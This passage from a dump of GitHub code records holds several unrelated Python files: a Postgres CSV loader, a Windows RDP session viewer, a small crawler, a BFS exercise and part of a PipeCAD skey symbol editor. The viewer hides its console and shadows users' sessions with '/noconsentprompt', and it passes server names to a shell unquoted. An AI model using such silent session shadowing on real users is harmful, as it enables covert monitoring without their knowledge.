transform_survey_data(path).items():\n query = (\n f'INSERT INTO {sql_table} (%s) '\n 'VALUES %s'\n )\n columns = tuple(survey_responses_keys)\n values = tuple([row[k] for k in survey_responses_keys])\n cursor.execute(query, (AsIs(','.join(columns)), values))\n else:\n with open(path) as f:\n for row in csv.DictReader(f):\n query = (\n f'INSERT INTO {sql_table} (%s) '\n 'VALUES %s'\n )\n columns = tuple(row.keys())\n values = tuple([row[k] if row[k] != '' else None for k in keys])\n cursor.execute(query, (AsIs(','.join(columns)), values))\n\n os.remove(path)\n\n check_for_van_numbers()\n\n\nif __name__ == '__main__':\n load_dotenv()\n\n prod = yes_no('Target production?')\n if prod:\n postgres_args = {\n 'host': os.getenv('POSTGRES_HOST'),\n 'port': int(os.getenv('POSTGRES_PORT')),\n 'user': os.getenv('POSTGRES_USER'),\n 'password': os.getenv('POSTGRES_PASSWORD'),\n 'dbname': os.getenv('POSTGRES_DB'),\n }\n else:\n postgres_args = {\n 'host': os.getenv('DEV_POSTGRES_HOST'),\n 'port': int(os.getenv('DEV_POSTGRES_PORT')),\n 'user': os.getenv('DEV_POSTGRES_USER'),\n 'password': os.getenv('DEV_POSTGRES_PASSWORD'),\n 'dbname': os.getenv('DEV_POSTGRES_DB'),\n }\n\n main()\n","repo_name":"mcculleydj/ballot-cure","sub_path":"pull_from_civis.py","file_name":"pull_from_civis.py","file_ext":"py","file_size_in_byte":5245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8545089450","text":"import ctypes\nimport subprocess\n\nimport eel\nimport wmi\n\n\ndef hideConsole():\n whnd = ctypes.windll.kernel32.GetConsoleWindow()\n if whnd != 0:\n ctypes.windll.user32.ShowWindow(whnd, 0)\n\n\nhideConsole()\n\n\ndef command(cmd):\n p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True)\n out, err = p.communicate()\n return out\n\n\ndef get_full_name(name):\n c = wmi.WMI()\n wql = f'SELECT FullName FROM Win32_UserAccount WHERE name=\"{name}\"'\n fullname = c.query(wql)\n full_name = name\n if len(fullname) > 0:\n full_name = fullname[0].FullName\n else:\n full_name = name\n return full_name\n\n\ndef get_ignore_user():\n try:\n with open(\"ignoreuser\") as f:\n lines = f.read().splitlines()\n lines = [i for i in lines if i]\n return lines\n except:\n return \"\"\n\n\ndef parsedata(data_out, computer):\n # convertir datso tipo string a lista seprando con saltos de linea\n data_to_list = data_out.split(\"\\n\")\n # eliminar el primer index de la lista que no es necesario\n del data_to_list[0]\n # eliminar los elementos vacios de la lista\n try:\n data_to_list.remove(\"\")\n except:\n pass\n user_ignored = get_ignore_user()\n list_data = list()\n for i in data_to_list:\n i_to_list = i.split()\n\n if not i_to_list[0].lower() in list(map(str.lower, user_ignored)):\n if len(i_to_list) == 7:\n dict_data = {\"id\": i_to_list[2], \"name\": i_to_list[0], \"state\": i_to_list[3],\n \"inactivity\": i_to_list[4],\n \"logon\": i_to_list[5] + \" \" + i_to_list[6], \"computer\": computer,\n \"fullname\": get_full_name(i_to_list[0])}\n list_data.append(dict_data)\n elif len(i_to_list) == 6:\n dict_data = {\"id\": i_to_list[1], \"name\": i_to_list[0], \"state\": i_to_list[2],\n \"inactivity\": i_to_list[3],\n \"logon\": i_to_list[4] + \" \" + i_to_list[5], \"computer\": computer,\n \"fullname\": get_full_name(i_to_list[0])}\n list_data.append(dict_data)\n return list_data\n\n\ndef main():\n with open(\"servers\") as f:\n lines = f.read().splitlines()\n lines = [i for i in lines if i]\n all_data_user = []\n for line in lines:\n cmd = f\"query user /SERVER:{line}\"\n output_command = command(cmd)\n if \"ESTADO\" in output_command:\n all_data_user += parsedata(output_command, line)\n\n return all_data_user\n\n\ndef connect(id, computer):\n cmd = f\"mstsc /shadow:{id} /admin /noconsentprompt /v:{computer}\"\n command(cmd)\n\n\neel.init('web')\n\n\n@eel.expose\ndef bingR():\n return main()\n\n\n@eel.expose # Expose this function to Javascript\ndef connection(id, computer):\n connect(id, computer)\n\n\neel.start('index.html', mode='chrome', size=(900, 700), position=(50, 50), host='localhost')\n","repo_name":"jbelkacemi/rdpviewer","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17625679416","text":"#!/usr/bin/env python\nimport urllib.parse\nimport urllib.request\nfrom bs4 import BeautifulSoup\nurl = \"https://www.baidu.com/\"\nvalues = {'name':'wenp','language':'Python'}\ndata = urllib.parse.urlencode(values).encode(encoding='utf-8',errors='ignore')\nheaders = {'User-Agent':'Mozilla/5.0(Window NT 10.0; WOW64;rv:50.0) Gecko/20100101 Firefox/50.0'}\nrequest = urllib.request.Request(url=url,data=data,headers=headers,method='GET')\nreq = urllib.request.urlopen(request)\nhtml = req.read()\nhtml = html.decode('utf-8')\n\nimport http.cookiejar\n\n#创建cookie容器\ncj = http.cookiejar.CookieJar()\n#创建opener\nopener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))\n#给urllib.request安装opener\nurllib.request.install_opener(opener)\n\n# 请求\n# request = urllib.request.Request\n# print(url)\n\n\n\n\n\n#根据html网页字符串创建BeautifulSoup对象\nsoup = BeautifulSoup(html,'html.parser')\nprint(soup.find_all('img'))\n","repo_name":"wenpeng233/Python","sub_path":"untitled1/CrawlerTest.py","file_name":"CrawlerTest.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4583558733","text":"from collections import deque\n\nnodes = int(input())\npairs = int(input())\n\ngraph = {}\nfor _ in range(nodes):\n node_str, children_str = input().split(':')\n node = int(node_str)\n children = [int(x) for x in children_str.split()] if children_str else []\n graph[node] = children\n\nfor _ in range(pairs):\n source, destination = [int(x) for x in input().split('-')]\n queue = deque([source])\n visited = {}\n for key in graph.keys():\n visited[key] = False\n visited[source] = True\n\n parent = {}\n for key in graph.keys():\n parent[key] = None\n\n while queue:\n node = queue.popleft()\n if node == destination:\n break\n for child in graph[node]:\n if visited[child]:\n continue\n queue.append(child)\n visited[child] = True\n parent[child] = node\n\n if parent[destination] is None:\n print(f'{{{source}, {destination}}} -> -1')\n continue\n\n node = destination\n size = 0\n while node is not None:\n node = parent[node]\n size += 1\n\n print(f'{{{source}, {destination}}} -> {size - 1}')\n","repo_name":"Zapryanovx/Algorithms-with-Python","sub_path":"07_Minimum_spanning_tree_and_shortest_path_Graphs_Exercise/01_distance_between_vertices.py","file_name":"01_distance_between_vertices.py","file_ext":"py","file_size_in_byte":1138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"5116495983","text":"from PythonQt.QtCore import *\nfrom PythonQt.QtGui import *\n\nfrom pipecad import *\n\nimport omp \nimport json\nimport os\nimport math \nimport pandas as pd\n\nclass ArrivePoint( QGraphicsEllipseItem ) :\n def __init__( self, parent = None ):\n super( ArrivePoint, self ).__init__( QRectF( -5.0, -5.0, 10.0, 10.0) )\n self.setFlag( QGraphicsItem.ItemIsMovable )\n pen_arrive = QPen( QColor( 51, 51, 255 ) )\n pen_arrive.setWidth( 2 )\n pen_arrive.setStyle( Qt.SolidLine ) \n self.setPen( pen_arrive )\n\nclass LeavePoint( QGraphicsEllipseItem ) :\n def __init__( self, parent = None ):\n super( LeavePoint, self ).__init__( QRectF( -5.0, -5.0, 10.0, 10.0) )\n self.setFlag( QGraphicsItem.ItemIsMovable )\n pen_leave = QPen( QColor( 255, 0, 0 ) )\n pen_leave.setWidth( 2 )\n pen_leave.setStyle( Qt.SolidLine ) \n self.setPen( pen_leave )\n \nclass TeePoint( QGraphicsEllipseItem ) :\n def __init__( self, parent = None ):\n super( TeePoint, self ).__init__( QRectF( -5.0, -5.0, 10.0, 10.0) )\n self.setFlag( QGraphicsItem.ItemIsMovable )\n pen_tee = QPen( Qt.magenta )\n pen_tee.setWidth( 2 )\n pen_tee.setStyle( Qt.SolidLine ) \n self.setPen( pen_tee )\n\nclass SpindlePoint( QGraphicsEllipseItem ) :\n def __init__( self, parent = None ):\n super( SpindlePoint, self ).__init__( QRectF( -5.0, -5.0, 10.0, 10.0) )\n self.setFlag( QGraphicsItem.ItemIsMovable )\n pen_spindle = QPen( QColor( 111, 0, 0 ) )\n pen_spindle.setWidth( 2 )\n pen_spindle.setStyle( Qt.SolidLine ) \n self.setPen( pen_spindle )\n \n \nclass SheetLayout( QGraphicsScene ):\n def __init__( self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.cursor_coordinates = []\n \n self.symbol_drawlist_temp = []\n self.symbol_drawlist = []\n self.grid_drawlist = []\n \n self.arrive_point = ArrivePoint( self )\n self.leave_point = LeavePoint( self )\n self.tee_point = TeePoint( self )\n self.spindle_point = SpindlePoint( self )\n self.line = QGraphicsLineItem()\n self.rect = QGraphicsRectItem()\n self.triangle = QGraphicsPolygonItem()\n \n self.sheet_width = 400\n self.sheet_height = 400\n self.step_x = 5\n self.step_y = 5\n self.origin_x = 0\n self.origin_y = 0\n \n #self.scale = 1.0\n \n self.show_grids = False \n self.current_action = \"\"\n self.press_number = 0\n self.cursor_position = QPoint( 0, 0 )\n self.point_diameter = 5\n \n self.draw_grid()\n \n def draw_grid_labels( self ):\n print( \"test\" )\n\n def convert_to_relative_position( self, scene_position ):\n new_position = QPointF( round ( ( scene_position.x() - self.sheet_width / 2 ) / self.step_x / 20 , 3 ), \n round ( ( self.sheet_height / 2 - scene_position.y() ) / self.step_y / 20 , 3 ) ) \n \n \n return new_position \n \n def convert_to_absolute_position( self, relative_position ):\n new_position = QPointF( round ( ( relative_position.x() - self.sheet_width / 2 ) / self.step_x / 20 , 2 ), \n round ( ( self.sheet_height / 2 - relative_position.y() ) / self.step_y / 20 , 2 ) ) \n return new_position \n \n def draw_grid( self ):\n \n width = self.sheet_width\n height = self.sheet_height\n \n self.setSceneRect( 0, 0, width, height )\n self.setItemIndexMethod( QGraphicsScene.NoIndex )\n \n pen_axis = QPen( QColor( 126, 128, 135 ) )\n pen_axis.setWidth( 1 )\n pen_axis.setStyle( Qt.SolidLine ) \n \n pen_grid_main = QPen( QColor( 212, 212, 212 ) )\n pen_grid_main.setWidth( 1 )\n pen_grid_main.setStyle( Qt.SolidLine ) \n \n pen_grid_sec = QPen( QColor( 250, 250, 250 ) )\n pen_grid_sec.setWidth( 0.5 )\n pen_grid_sec.setStyle( Qt.SolidLine ) \n \n for x in range( 0, int( self.sheet_width / self.step_x ) + 1 ):\n xc = x * self.step_x\n if x % 10 == 0:\n label_text = str( ( xc - self.sheet_width / 2 ) / 100 ) \n label = QGraphicsSimpleTextItem( label_text )\n label_width = label.boundingRect().size().width()\n label_height = label.boundingRect().size().height()\n label_pos_x = xc - label_width / 2\n label_pos_y = self.sheet_height + label_height / 2\n label.setPos( label_pos_x, label_pos_y )\n self.addItem( label ) \n \n if x % 10 == 0:\n if x == int( self.sheet_width / self.step_x / 2 ):\n self.grid_drawlist.append( self.addLine( xc, 0, xc, height, pen_axis ) )\n else:\n self.grid_drawlist.append( self.addLine( xc, 0, xc, height, pen_grid_main ) )\n else: \n self.grid_drawlist.append( self.addLine( xc, 0, xc, height, pen_grid_sec ) )\n\n for y in range( 0, int( self.sheet_height / self.step_y ) + 1 ):\n yc = y * self.step_y\n\n if y % 10 == 0 and int( ( self.sheet_height / 2 - yc ) / 10 ) != -20:\n label_text = str( ( self.sheet_height / 2 - yc ) / 100 ) \n label = QGraphicsSimpleTextItem( label_text )\n label_width = label.boundingRect().size().width()\n label_height = label.boundingRect().size().height()\n label_pos_x = - label_width - 5\n label_pos_y = yc - label_height / 2\n label.setPos( label_pos_x, label_pos_y )\n self.addItem( label ) \n \n if y % 10 == 0:\n if y == int( self.sheet_height / self.step_x / 2 ):\n self.grid_drawlist.append( self.addLine( 0, yc, width, yc, pen_axis ) )\n else:\n self.grid_drawlist.append( self.addLine( 0, yc, width, yc, pen_grid_main ) )\n else: \n self.grid_drawlist.append( self.addLine( 0, yc, width, yc, pen_grid_sec ) )\n \n def set_grid_center( self, grid_center = \"Center\" ):\n if grid_center == \"Center\":\n self.origin_x = self.sheet_width / 2 \n self.origin_y = self.sheet_height / 2 \n \n def set_visible( self, visible = True ):\n for line in self.grid_drawlist:\n line.setVisible(visible)\n\n def delete_grid( self ):\n for line in self.grid_drawlist:\n self.removeItem(line)\n del self.grid_drawlist[:]\n\n def set_opacity( self, opacity ):\n for line in self.grid_drawlist:\n line.setOpacity( opacity )\n \n def keyPressEvent( self, event ):\n if event.key() == ( Qt.Key_Control and Qt.Key_Z ):\n self.undo()\n elif event.key() == ( Qt.Key_Control and Qt.Key_Y ):\n self.redo()\n elif event.key() == ( Qt.Key_Escape ):\n self.press_number = 0\n self.current_action = \"\"\n QApplication.restoreOverrideCursor()\n for item in self.symbol_drawlist_temp:\n self.removeItem( item )\n\n def undo( self ):\n print( \"Delete the last line from self.drawlist and draw all the others\" )\n \n def redo( self ):\n print( \"Delete the last line from self.drawlist and draw all the others\" )\n \n def mousePressEvent( self, mouse_event ):\n self.cursor_position = QPointF( mouse_event.scenePos().x(), mouse_event.scenePos().y() )\n if mouse_event.button() == Qt.LeftButton and self.current_action == \"draw_arrive_point\":\n self.cursor_coordinates.append( self.cursor_position )\n self.draw_arrive_point( self.cursor_coordinates ) \n self.press_number = 0\n self.current_action = \"\"\n QApplication.restoreOverrideCursor()\n for item in self.symbol_drawlist_temp:\n self.removeItem( item )\n \n elif mouse_event.button() == Qt.LeftButton and self.current_action == \"draw_leave_point\":\n self.cursor_coordinates.append( self.cursor_position )\n self.draw_leave_point( self.cursor_coordinates ) \n self.press_number = 0\n self.current_action = \"\"\n QApplication.restoreOverrideCursor()\n for item in self.symbol_drawlist_temp:\n self.removeItem( item )\n \n elif mouse_event.button() == Qt.LeftButton and self.current_action == \"draw_tee_point\":\n self.cursor_coordinates.append( self.cursor_position )\n self.draw_tee_point( self.cursor_coordinates ) \n self.press_number = 0\n self.current_action = \"\"\n QApplication.restoreOverrideCursor()\n for item in self.symbol_drawlist_temp:\n self.removeItem( item )\n \n elif mouse_event.button() == Qt.LeftButton and self.current_action == \"draw_spindle_point\":\n self.cursor_coordinates.append( self.cursor_position )\n self.draw_spindle_point( self.cursor_coordinates ) \n self.press_number = 0\n self.current_action = \"\"\n QApplication.restoreOverrideCursor()\n for item in self.symbol_drawlist_temp:\n self.removeItem( item )\n \n elif mouse_event.button() == Qt.LeftButton and self.current_action == \"draw_line\":\n self.press_number = self.press_number + 1\n if self.press_number == 1:\n self.cursor_coordinates.append( self.cursor_position )\n elif self.press_number == 2: \n self.cursor_coordinates.append( self.cursor_position ) \n self.draw_line( self.cursor_coordinates ) \n self.press_number = 0\n self.current_action = \"\"\n QApplication.restoreOverrideCursor()\n for item in self.symbol_drawlist_temp:\n self.removeItem( item )\n \n elif mouse_event.button() == Qt.LeftButton and self.current_action == \"draw_rect\":\n self.press_number = self.press_number + 1\n if self.press_number == 1:\n self.cursor_coordinates.append( self.cursor_position )\n elif self.press_number == 2: \n self.cursor_coordinates.append( self.cursor_position ) \n self.draw_rect( self.cursor_coordinates ) \n self.press_number = 0\n self.current_action = \"\"\n QApplication.restoreOverrideCursor()\n for item in self.symbol_drawlist_temp:\n self.removeItem( item ) \n \n elif mouse_event.button() == Qt.LeftButton and self.current_action == \"draw_triangle\":\n self.press_number = self.press_number + 1\n if self.press_number == 1:\n self.cursor_coordinates.append( self.cursor_position )\n elif self.press_number == 2: \n self.cursor_coordinates.append( self.cursor_position ) \n elif self.press_number == 3: \n self.cursor_coordinates.append( self.cursor_position ) \n self.draw_triangle( self.cursor_coordinates ) \n QApplication.restoreOverrideCursor()\n for item in self.symbol_drawlist_temp:\n self.removeItem( item )\n self.press_number = 0\n self.current_action = \"\"\n \n def mouseMoveEvent( self, mouse_event ):\n self.cursor_position = QPoint( mouse_event.scenePos().x(), mouse_event.scenePos().y() )\n if self.press_number == 0 and self.current_action == \"draw_arrive_point\":\n if len( self.cursor_coordinates ) == 0:\n self.cursor_coordinates.append( self.cursor_position )\n else:\n self.cursor_coordinates[0] = self.cursor_position\n \n self.removeItem( self.arrive_point )\n self.arrive_point = ArrivePoint( self )\n self.arrive_point.setPos( self.cursor_coordinates[0].x(), self.cursor_coordinates[0].y() )\n self.addItem( self.arrive_point )\n self.symbol_drawlist_temp.append( self.arrive_point )\n \n elif self.press_number == 0 and self.current_action == \"draw_leave_point\":\n if len( self.cursor_coordinates ) == 0:\n self.cursor_coordinates.append( self.cursor_position )\n else:\n self.cursor_coordinates[0] = self.cursor_position\n \n self.removeItem( self.leave_point )\n self.leave_point = LeavePoint( self )\n self.leave_point.setPos( self.cursor_coordinates[0].x(), self.cursor_coordinates[0].y() )\n self.addItem( self.leave_point )\n self.symbol_drawlist_temp.append( self.leave_point )\n \n elif self.press_number == 0 and self.current_action == \"draw_tee_point\":\n if len( self.cursor_coordinates ) == 0:\n self.cursor_coordinates.append( self.cursor_position )\n else:\n self.cursor_coordinates[0] = self.cursor_position\n \n self.removeItem( self.tee_point )\n self.tee_point = TeePoint( self )\n self.tee_point.setPos( self.cursor_coordinates[0].x(), self.cursor_coordinates[0].y() )\n self.addItem( self.tee_point )\n self.symbol_drawlist_temp.append( self.tee_point )\n \n elif self.press_number == 0 and self.current_action == \"draw_spindle_point\":\n if len( self.cursor_coordinates ) == 0:\n self.cursor_coordinates.append( self.cursor_position )\n else:\n self.cursor_coordinates[0] = self.cursor_position\n \n self.removeItem( self.spindle_point )\n self.spindle_point = SpindlePoint( self )\n self.spindle_point.setPos( self.cursor_coordinates[0].x(), self.cursor_coordinates[0].y() )\n self.addItem( self.spindle_point )\n self.symbol_drawlist_temp.append( self.spindle_point )\n \n if self.press_number == 1 and self.current_action == \"draw_line\":\n if len( self.cursor_coordinates ) == 1:\n self.cursor_coordinates.append( self.cursor_position )\n self.line = QGraphicsLineItem( self.cursor_coordinates[0].x(), self.cursor_coordinates[0].y(), \n self.cursor_coordinates[1].x(), self.cursor_coordinates[1].y() )\n self.addItem( self.line )\n self.symbol_drawlist_temp.append( self.line )\n \n elif len( self.cursor_coordinates ) == 2:\n self.cursor_coordinates[1] = self.cursor_position\n self.removeItem( self.line )\n self.line = QGraphicsLineItem( self.cursor_coordinates[0].x(), self.cursor_coordinates[0].y(), \n self.cursor_coordinates[1].x(), self.cursor_coordinates[1].y() )\n self.addItem( self.line )\n self.symbol_drawlist_temp.append( self.line )\n \n elif self.press_number == 1 and self.current_action == \"draw_rect\":\n if len( self.cursor_coordinates ) == 1:\n self.cursor_coordinates.append( self.cursor_position )\n \n elif len( self.cursor_coordinates ) == 2:\n self.cursor_coordinates[1] = self.cursor_position\n self.removeItem( self.rect )\n \n if self.cursor_coordinates[0].x() <= self.cursor_coordinates[1].x():\n pos_x_left = self.cursor_coordinates[0].x()\n pos_x_right = self.cursor_coordinates[1].x() \n \n elif self.cursor_coordinates[0].x() > self.cursor_coordinates[1].x():\n pos_x_left = self.cursor_coordinates[1].x()\n pos_x_right = self.cursor_coordinates[0].x() \n \n if self.cursor_coordinates[0].y() <= self.cursor_coordinates[1].y():\n pos_y_bottom = self.cursor_coordinates[1].y()\n pos_y_top = self.cursor_coordinates[0].y() \n \n elif self.cursor_coordinates[0].y() > self.cursor_coordinates[1].y():\n pos_y_bottom = self.cursor_coordinates[0].y()\n pos_y_top = self.cursor_coordinates[1].y() \n \n rect_width = abs( pos_x_right - pos_x_left )\n rect_height = abs( pos_y_bottom - pos_y_top ) \n \n self.rect = QGraphicsRectItem( pos_x_left, pos_y_top, rect_width, rect_height ) \n self.addItem( self.rect )\n self.symbol_drawlist_temp.append( self.rect ) \n \n elif self.press_number == 1 and self.current_action == \"draw_triangle\":\n if self.press_number == 1 and len( self.cursor_coordinates ) == 1:\n self.cursor_coordinates.append( self.cursor_position )\n elif self.press_number == 1 and len( self.cursor_coordinates ) == 2:\n self.cursor_coordinates[ self.press_number ] = self.cursor_position \n \n self.removeItem( self.triangle )\n polygon = QPolygonF() \n for point in self.cursor_coordinates:\n polygon.append( point )\n \n self.triangle = QGraphicsPolygonItem( polygon ) \n self.addItem( self.triangle )\n self.symbol_drawlist_temp.append( self.triangle ) \n \n elif self.press_number == 2 and self.current_action == \"draw_triangle\":\n if self.press_number == 2 and len( self.cursor_coordinates ) == 2:\n self.cursor_coordinates.append( self.cursor_position )\n elif self.press_number == 2 and len( self.cursor_coordinates ) == 3:\n self.cursor_coordinates[ self.press_number ] = self.cursor_position\n \n self.removeItem( self.triangle )\n polygon = QPolygonF() \n for point in self.cursor_coordinates:\n polygon.append( point )\n \n self.triangle = QGraphicsPolygonItem( polygon ) \n self.addItem( self.triangle )\n self.symbol_drawlist_temp.append( self.triangle ) \n\n def draw_arrive_point( self, positions ):\n arrive_point = ArrivePoint( self )\n arrive_point.setPos( self.cursor_coordinates[0].x(), self.cursor_coordinates[0].y() )\n arrive_point.setFlag( QGraphicsItem.ItemIsSelectable ) \n self.addItem( arrive_point )\n self.symbol_drawlist.append( arrive_point )\n \n self.cursor_coordinates.clear()\n while QApplication.overrideCursor() is not None:\n QApplication.restoreOverrideCursor() \n \n def draw_leave_point( self, positions ):\n leave_point = LeavePoint( self )\n leave_point.setPos( self.cursor_coordinates[0].x(), self.cursor_coordinates[0].y() )\n leave_point.setFlag( QGraphicsItem.ItemIsSelectable ) \n self.addItem( leave_point )\n self.symbol_drawlist.append( leave_point )\n \n self.cursor_coordinates.clear()\n while QApplication.overrideCursor() is not None:\n QApplication.restoreOverrideCursor() \n \n def draw_tee_point( self, positions ):\n tee_point = TeePoint( self )\n tee_point.setPos( self.cursor_coordinates[0].x(), self.cursor_coordinates[0].y() )\n tee_point.setFlag( QGraphicsItem.ItemIsSelectable ) \n self.addItem( tee_point )\n self.symbol_drawlist.append( tee_point )\n \n self.cursor_coordinates.clear()\n while QApplication.overrideCursor() is not None:\n QApplication.restoreOverrideCursor() \n \n def draw_spindle_point( self, positions ):\n spindle_point = SpindlePoint( self )\n spindle_point.setPos( self.cursor_coordinates[0].x(), self.cursor_coordinates[0].y() )\n spindle_point.setFlag( QGraphicsItem.ItemIsSelectable ) \n self.addItem( spindle_point )\n self.symbol_drawlist.append( spindle_point )\n \n self.cursor_coordinates.clear()\n while QApplication.overrideCursor() is not None:\n QApplication.restoreOverrideCursor() \n \n def draw_line( self, positions ):\n pen_axis_main = QPen( QColor( 0, 0, 0 ) )\n pen_axis_main.setWidth( 2 )\n pen_axis_main.setStyle( Qt.SolidLine ) \n \n line = QGraphicsLineItem( self.cursor_coordinates[0].x(), \n self.cursor_coordinates[0].y(), \n self.cursor_coordinates[1].x(), \n self.cursor_coordinates[1].y() )\n line.setFlag( QGraphicsItem.ItemIsSelectable )\n line.setPen( pen_axis_main ) \n self.addItem( line )\n self.symbol_drawlist.append( line )\n \n self.cursor_coordinates.clear()\n while QApplication.overrideCursor() is not None:\n QApplication.restoreOverrideCursor() \n \n def draw_rect( self, positions ):\n pen_axis_main = QPen( QColor( 0, 0, 0 ) )\n pen_axis_main.setWidth( 2 )\n pen_axis_main.setStyle( Qt.SolidLine ) \n \n if self.cursor_coordinates[0].x() < self.cursor_coordinates[1].x():\n pos_x_left = self.cursor_coordinates[0].x()\n pos_x_right = self.cursor_coordinates[1].x() \n \n elif self.cursor_coordinates[0].x() > self.cursor_coordinates[1].x():\n pos_x_left = self.cursor_coordinates[1].x()\n pos_x_right = self.cursor_coordinates[0].x() \n \n if self.cursor_coordinates[0].y() < self.cursor_coordinates[1].y():\n pos_y_bottom = self.cursor_coordinates[1].y()\n pos_y_top = self.cursor_coordinates[0].y() \n \n elif self.cursor_coordinates[0].y() > self.cursor_coordinates[1].y():\n pos_y_bottom = self.cursor_coordinates[0].y()\n pos_y_top = self.cursor_coordinates[1].y() \n \n rect_width = abs( pos_x_right - pos_x_left )\n rect_height = abs( pos_y_bottom - pos_y_top ) \n \n rect = QGraphicsRectItem( pos_x_left, pos_y_top, rect_width, rect_height ) \n rect.setFlag( QGraphicsItem.ItemIsSelectable )\n rect.setPen( pen_axis_main ) \n self.addItem( rect )\n self.symbol_drawlist.append( rect )\n \n self.cursor_coordinates.clear()\n while QApplication.overrideCursor() is not None:\n QApplication.restoreOverrideCursor() \n \n def draw_triangle( self, positions ):\n pen_axis_main = QPen( QColor( 0, 0, 0 ) )\n pen_axis_main.setWidth( 2 )\n pen_axis_main.setStyle( Qt.SolidLine ) \n \n polygon = QPolygonF() \n for point in positions:\n polygon.append( point )\n \n triangle = QGraphicsPolygonItem( polygon ) \n triangle.setFlag( QGraphicsItem.ItemIsSelectable )\n triangle.setPen( pen_axis_main ) \n self.addItem( triangle )\n self.symbol_drawlist.append( triangle )\n \n self.cursor_coordinates.clear()\n while QApplication.overrideCursor() is not None:\n QApplication.restoreOverrideCursor() \n \nclass SkeyEditorDialog(QDialog):\n \"\"\"\"SkeyEditorDialog Window\"\"\"\n \n def __init__( self, parent = None ):\n QDialog.__init__(self, parent)\n self.skeys = {}\n self.skeysList = []\n self.sheet_width = 400\n self.sheet_height = 400\n \n self.scales = []\n\n self.sheet_units_number_x = 20\n self.sheet_units_number_y = 20\n \n self.origin_x = self.sheet_width / 2\n self.origin_y = self.sheet_height / 2\n \n self.zoom = 1\n self.groups = {}\n self.subgroups = {}\n \n self.max_symbol_size = 0\n self.min_symbol_size = 10000\n \n self.unit_size = 500\n \n self.sheet_limits_gap_x = 5\n self.sheet_limits_gap_y = 5\n \n self.step_x_main = self.sheet_width / self.sheet_units_number_x\n self.step_x_secondary = self.sheet_width / ( self.sheet_units_number_x * 2 )\n \n self.step_y_main = self.sheet_height / self.sheet_units_number_y\n self.step_y_secondary = self.sheet_height / ( self.sheet_units_number_y * 2 )\n \n self.point_diameter = 15\n \n self.iconsLibraryPath = os.path.dirname(os.path.abspath(__file__)).replace( \"\\lib\\omp\",\"\\lib\\pipecad\" ) + \"/icons\"\n self.symbol_file_json = os.getenv('PIPECAD_SETTINGS_PATH').replace( \"\\\\\\\\\",\"\\\\\" ) + \"\\\\iso\\\\IsoSymbolsLibrary.json\" \n \n self.skeys_desc = {}\n self.skeys_desc[\"BU+D\"] = [\"Bends\" , \"180° pulled return bend\"]\n self.skeys_desc[\"BUBW\"] = [\"Bends\" , \"180° Pulled return bend with weld at each end\"]\n self.skeys_desc[\"BM**\"] = [\"Bends\" , \"Bend\"]\n self.skeys_desc[\"BECL\"] = [\"Bends\" , \"Bend with clamped end connections\"]\n self.skeys_desc[\"BEBS\"] = [\"Bends\" , \"Bend with flanged ball/socket end connections\"]\n self.skeys_desc[\"BEGF\"] = [\"Bends\" , \"Bend with flanged gland-type end connections\"]\n self.skeys_desc[\"BEFA\"] = [\"Bends\" , \"Bend with flared end connections\"]\n self.skeys_desc[\"BEGL\"] = [\"Bends\" , \"Bend with glued end connections\"]\n self.skeys_desc[\"BEPF\"] = [\"Bends\" , \"Bend with push fit connections\"]\n self.skeys_desc[\"L@BW\"] = [\"Bends\" , \"Butt Weld Lobster Back Bend\"]\n self.skeys_desc[\"T@BW\"] = [\"Bends\" , \"Butt Weld Lobster Back Bend with Tee\"]\n self.skeys_desc[\"MIBW\"] = [\"Bends\" , \"Butt weld mitre bend\"]\n self.skeys_desc[\"MTBW\"] = [\"Bends\" , \"Butt weld mitre tee bend\"]\n self.skeys_desc[\"BUFL\"] = [\"Bends\" , \"Flanged 180° return bend\"]\n self.skeys_desc[\"BEFL\"] = [\"Bends\" , \"Flanged Bend\"]\n self.skeys_desc[\"BTFL\"] = [\"Bends\" , \"Flanged Bend with Tee\"]\n self.skeys_desc[\"L@FL\"] = [\"Bends\" , \"Flanged Lobster Back Bend\"]\n self.skeys_desc[\"T@FL\"] = [\"Bends\" , \"Flanged Lobster Back Bend with Tee\"]\n self.skeys_desc[\"MIFL\"] = [\"Bends\" , \"Flanged mitre bend\"]\n self.skeys_desc[\"MTFL\"] = [\"Bends\" , \"Flanged mitre tee bend\"]\n self.skeys_desc[\"L@PL\"] = [\"Bends\" , \"Lobster Back Bend\"]\n self.skeys_desc[\"T@PL\"] = [\"Bends\" , \"Lobster Back Bend with Tee\"]\n self.skeys_desc[\"MTPL\"] = [\"Bends\" , \"Mitre tee bend with plain ends\"]\n self.skeys_desc[\"MIPL\"] = [\"Bends\" , \"Mitred Bend\"]\n self.skeys_desc[\"PB+D\"] = [\"Bends\" , \"Pulled Bend\"]\n self.skeys_desc[\"TB+D\"] = [\"Bends\" , \"Pulled Bend with Tee\"]\n self.skeys_desc[\"PBBW\"] = [\"Bends\" , \"Pulled bend with weld at each end\"]\n self.skeys_desc[\"TBBW\"] = [\"Bends\" , \"Pulled tee bend with weld at each end\"]\n self.skeys_desc[\"BTBS\"] = [\"Bends\" , \"Tee bend with flanged ball/socket end connections\"]\n self.skeys_desc[\"TBGF\"] = [\"Bends\" , \"Tee bend with flanged gland-type end connections\"]\n self.skeys_desc[\"KABW\"] = [\"Caps\" , \"Butt Weld Cap\"]\n self.skeys_desc[\"KACL\"] = [\"Caps\" , \"Clamped cap\"]\n self.skeys_desc[\"KACP\"] = [\"Caps\" , \"Compression cap\"]\n self.skeys_desc[\"KAFL\"] = [\"Caps\" , \"Flanged cap\"]\n self.skeys_desc[\"KAFA\"] = [\"Caps\" , \"Flared cap\"]\n self.skeys_desc[\"KAGL\"] = [\"Caps\" , \"Glued cap\"]\n self.skeys_desc[\"KAPF\"] = [\"Caps\" , \"Push fit cap\"]\n self.skeys_desc[\"KASC\"] = [\"Caps\" , \"Screwed cap\"]\n self.skeys_desc[\"KASW\"] = [\"Caps\" , \"Socket weld cap\"]\n 